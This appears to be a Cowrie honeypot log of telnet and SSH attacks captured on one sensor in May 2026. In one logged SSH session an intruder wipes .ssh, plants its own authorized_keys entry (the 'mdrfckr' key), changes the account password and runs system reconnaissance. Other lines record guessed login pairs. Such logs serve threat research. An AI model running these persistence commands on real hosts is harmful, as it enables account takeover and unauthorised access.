{"eventid":"cowrie.session.connect","src_ip":"66.132.172.138","src_port":50206,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eacb9bafc34","protocol":"telnet","message":"New connection: 66.132.172.138:50206 (10.17.0.5:23) [session: 5eacb9bafc34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:47.533234Z"}
{"eventid":"cowrie.session.closed","duration":15.450113534927368,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:56.831851Z","src_ip":"66.132.224.237","session":"4ca9fb1cb2bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":62371,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c0f573923ce","protocol":"ssh","message":"New connection: 109.91.4.177:62371 (159.203.135.109:22) [session: 5c0f573923ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:56.962168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:56.967553Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:57.075095Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.196307182312012,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:57.729447Z","src_ip":"66.132.172.138","session":"5eacb9bafc34","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123!@#","message":"login attempt [admin/admin123!@#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:57.933840Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:58.195010Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:58.197781Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:58.201374Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:58.318919Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:58.566446Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:58.569168Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:58.683250Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:58.685832Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":64600,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a1337843090","protocol":"ssh","message":"New connection: 109.91.4.177:64600 (159.203.135.109:22) [session: 0a1337843090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:58.966003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:58.970780Z","src_ip":"109.91.4.177","session":"0a1337843090","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:59.152277Z","src_ip":"109.91.4.177","session":"0a1337843090","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:36:59.960846Z","src_ip":"109.91.4.177","session":"0a1337843090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:01.101866Z","src_ip":"109.91.4.177","session":"0a1337843090","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":59356,"dst_ip":"159.203.135.109","dst_port":22,"session":"367805b10285","protocol":"ssh","message":"New connection: 109.91.4.177:59356 (159.203.135.109:22) [session: 367805b10285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:01.257637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:01.262684Z","src_ip":"109.91.4.177","session":"367805b10285","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:01.422346Z","src_ip":"109.91.4.177","session":"367805b10285","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.224.237","src_port":31628,"dst_ip":"10.17.0.5","dst_port":23,"session":"74aae8bc1f45","protocol":"telnet","message":"New connection: 66.132.224.237:31628 (10.17.0.5:23) [session: 74aae8bc1f45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:02.364290Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:02.600620Z","src_ip":"109.91.4.177","session":"367805b10285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:03.718229Z","src_ip":"109.91.4.177","session":"367805b10285","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:03.872006Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:03.876289Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:03.989264Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.99","src_port":10756,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cc610d4303c","protocol":"telnet","message":"New connection: 66.132.195.99:10756 (10.17.0.5:23) [session: 6cc610d4303c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:04.020410Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:04.244117Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin123!@#\\nlGEHpdqw2Ouc\\nlGEHpdqw2Ouc\"|passwd|bash","message":"CMD: echo -e \"admin123!@#\\nlGEHpdqw2Ouc\\nlGEHpdqw2Ouc\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:04.247387Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:04.251296Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:04.255085Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/6913e9c9edffb60425f764859882882bc9eaacb5854e0c724e46c7e94417bb76","size":32,"shasum":"6913e9c9edffb60425f764859882882bc9eaacb5854e0c724e46c7e94417bb76","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/6913e9c9edffb60425f764859882882bc9eaacb5854e0c724e46c7e94417bb76 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:04.365291Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:04.621936Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin123!@#\\nlGEHpdqw2Ouc\\nlGEHpdqw2Ouc\\n\"|passwd","message":"CMD: echo \"admin123!@#\\nlGEHpdqw2Ouc\\nlGEHpdqw2Ouc\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:04.624726Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/9b42558c7924a51767f25924e10397a1802979310cead2f44038f57e8abc1b95","size":25,"shasum":"9b42558c7924a51767f25924e10397a1802979310cead2f44038f57e8abc1b95","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/9b42558c7924a51767f25924e10397a1802979310cead2f44038f57e8abc1b95 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:04.732435Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:05.042312Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:05.046169Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:05.162516Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:05.415332Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:05.418196Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:05.526788Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.294187545776367,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:05.658330Z","src_ip":"66.132.224.237","session":"74aae8bc1f45","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:05.791443Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:05.795012Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:05.798619Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:05.916314Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:06.188918Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:06.192677Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:06.302003Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:06.564628Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:06.568111Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:37:06.679448Z","src_ip":"109.91.4.177","session":"5c0f573923ce","protocol":"ssh"}
